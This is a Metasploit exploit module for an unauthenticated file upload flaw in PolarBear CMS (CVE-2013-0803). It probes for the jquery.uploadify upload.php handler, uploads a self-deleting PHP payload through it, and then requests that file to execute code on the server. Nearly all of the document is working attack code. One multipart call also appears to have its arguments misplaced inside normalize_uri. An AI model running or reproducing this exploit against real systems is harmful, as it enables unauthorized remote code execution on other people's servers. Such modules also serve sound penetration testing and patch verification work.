PolarBear CMS PHP File Upload Vulnerability

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PolarBear CMS PHP File Upload Vulnerability',
      'Description'    => %q{
          This module exploits a file upload vulnerability found in PolarBear CMS
        By abusing the upload.php file, a malicious user can upload a file to a temp
        directory without authentication, which results in arbitrary code execution.
      },
      'Author'         =>
        [
          'Fady Mohamed Osman'  # @Fady_Osman
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2013-0803' ],
          [ 'OSVDB', '90627' ]
        ],
      'Payload'	     =>
        {
          'BadChars' => "\x00",
        },
      'Platform'       => 'php',
      'Arch'		     => ARCH_PHP,
      'Targets'        =>
        [
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2012-01-21'))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The full URI path to Polarbearcms', '/polarbearcms']) ,
        OptString.new('UPLOADDIR', [true, 'The directory to upload to starting from web root. This should be writable', '/polarbearcms'])
      ])
  end

  def check
    uri =  target_uri.path

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, 'includes', 'jquery.uploadify', 'upload.php')
    })

    if not res or res.code != 200
      return Exploit::CheckCode::Safe
    end

    return Exploit::CheckCode::Appears
  end

  def exploit
    uri =  target_uri.path

    upload_dir = normalize_uri("#{datastore['UPLOADDIR']}/")

    peer = "#{rhost}:#{rport}"

    @payload_name = "#{rand_text_alpha(5)}.php"
    php_payload = get_write_exec_payload(:unlink_self=>true)

    data = Rex::MIME::Message.new
    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
    data.add_part(normalize_uri(uri, 'includes', 'jquery.uploadify/', nil, nil, "form-data; name=\"folder\""))
    post_data = data.to_s
    print_status("Uploading payload #{@payload_name}")
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(uri, 'includes', 'jquery.uploadify', "upload.php?folder=#{upload_dir}"),
      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
      'data'   => post_data
    })
    if not res or res.code != 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
    end

    upload_uri = "#{upload_dir}#{@payload_name}"
    print_status("Executing payload #{@payload_name}")
    res = send_request_raw({
      'uri'    => upload_uri,
      'method' => 'GET'
    })
  end
end